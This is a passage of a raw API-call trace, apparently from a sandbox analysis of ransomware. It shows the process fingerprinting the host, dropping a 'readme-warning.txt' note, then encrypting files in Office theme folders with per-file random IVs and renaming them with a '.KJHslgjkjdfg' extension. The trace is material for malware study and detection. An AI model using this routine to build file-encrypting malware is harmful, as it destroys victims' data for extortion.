(in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0184.582] CryptDestroyKey (hKey=0x2f18308) returned 1 [0184.582] GetProcessHeap () returned 0x2ef0000 [0184.582] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0184.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0184.582] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0184.582] CryptDestroyKey (hKey=0x2f18308) returned 1 [0184.582] GetProcessHeap () returned 0x2ef0000 [0184.582] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0184.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0184.582] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0184.582] CryptDestroyKey (hKey=0x2f18308) returned 1 [0184.582] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0184.583] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0184.583] RegCloseKey (hKey=0x12c) returned 0x0 [0184.583] GetProcessHeap () returned 0x2ef0000 [0184.583] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0184.583] GetProcessHeap () returned 0x2ef0000 [0184.583] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0184.583] GetProcessHeap () returned 0x2ef0000 [0184.583] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0184.583] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0184.583] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0184.583] CryptDestroyKey (hKey=0x2f18308) returned 1 [0184.583] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0184.583] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0184.584] GetProcessHeap () returned 0x2ef0000 [0184.584] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0184.584] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0184.584] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0184.584] GetProcessHeap () returned 0x2ef0000 [0184.584] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0184.584] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\readme-warning.txt") returned 81 [0184.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0184.584] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0184.585] CloseHandle (hObject=0x12c) returned 1 [0184.586] GetProcessHeap () returned 0x2ef0000 [0184.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0184.586] GetProcessHeap () returned 0x2ef0000 [0184.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0184.586] GetProcessHeap () returned 0x2ef0000 [0184.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0184.586] GetProcessHeap () returned 0x2ef0000 [0184.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0184.586] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0184.586] GetProcessHeap () returned 0x2ef0000 [0184.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0184.586] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0184.586] GetProcessHeap () returned 0x2ef0000 [0184.587] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x90) returned 0x2f425d0 [0184.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0184.587] GetProcessHeap () returned 0x2ef0000 [0184.587] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0184.587] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.587] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0184.587] GetProcessHeap () returned 0x2ef0000 [0184.587] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x292) returned 0x2f10788 [0184.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0184.588] GetProcessHeap () returned 0x2ef0000 [0184.588] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0184.588] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0184.588] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0184.588] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0185.651] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0185.651] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0185.651] GetProcessHeap () returned 0x2ef0000 [0185.651] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0185.651] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0185.651] CryptDestroyKey (hKey=0x2f18308) returned 1 [0185.651] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0185.651] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0185.651] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0185.651] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0185.651] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0185.651] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0185.652] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0185.652] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0185.652] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.652] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1004, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1004, lpOverlapped=0x0) returned 1 [0185.657] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1010, dwBufLen=0x1010 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1010) returned 1 [0185.657] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.657] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1010, lpOverlapped=0x0) returned 1 [0185.658] CryptDestroyKey (hKey=0x2f18308) returned 1 [0185.658] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x10e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.658] SetEndOfFile (hFile=0x12c) returned 1 [0185.661] GetProcessHeap () returned 0x2ef0000 [0185.661] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0185.661] GetProcessHeap () returned 0x2ef0000 [0185.661] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0185.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.kjhslgjkjdfg")) returned 1 [0185.662] CloseHandle (hObject=0x12c) returned 1 [0185.662] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0185.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0185.668] GetProcessHeap () returned 0x2ef0000 [0185.668] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0185.668] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0185.668] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0185.668] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0185.672] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0185.672] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0185.672] GetProcessHeap () returned 0x2ef0000 [0185.672] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0185.672] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0185.672] CryptDestroyKey (hKey=0x2f18308) returned 1 [0185.672] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0185.672] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0185.672] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0185.672] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0185.672] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0185.672] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0185.672] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0185.672] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0185.672] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.672] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x11e37, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x11e37, lpOverlapped=0x0) returned 1 [0185.963] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x11e40, dwBufLen=0x11e40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x11e40) returned 1 [0185.964] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.964] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x11e40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x11e40, lpOverlapped=0x0) returned 1 [0185.964] CryptDestroyKey (hKey=0x2f18308) returned 1 [0185.964] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x11f14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.964] SetEndOfFile (hFile=0x12c) returned 1 [0185.967] GetProcessHeap () returned 0x2ef0000 [0185.967] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0185.967] GetProcessHeap () returned 0x2ef0000 [0185.967] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0185.967] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.kjhslgjkjdfg")) returned 1 [0186.012] CloseHandle (hObject=0x12c) returned 1 [0186.012] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0186.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0186.013] GetProcessHeap () returned 0x2ef0000 [0186.013] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0186.013] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0186.013] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0186.013] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0186.014] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0186.014] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0186.015] GetProcessHeap () returned 0x2ef0000 [0186.015] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0186.015] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0186.015] CryptDestroyKey (hKey=0x2f18308) returned 1 [0186.015] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0186.015] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0186.015] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0186.015] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0186.015] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0186.015] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0186.015] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0186.015] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0186.015] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.015] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x265, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x265, lpOverlapped=0x0) returned 1 [0186.015] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x270, dwBufLen=0x270 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x270) returned 1 [0186.015] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.016] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x270, lpOverlapped=0x0) returned 1 [0186.016] 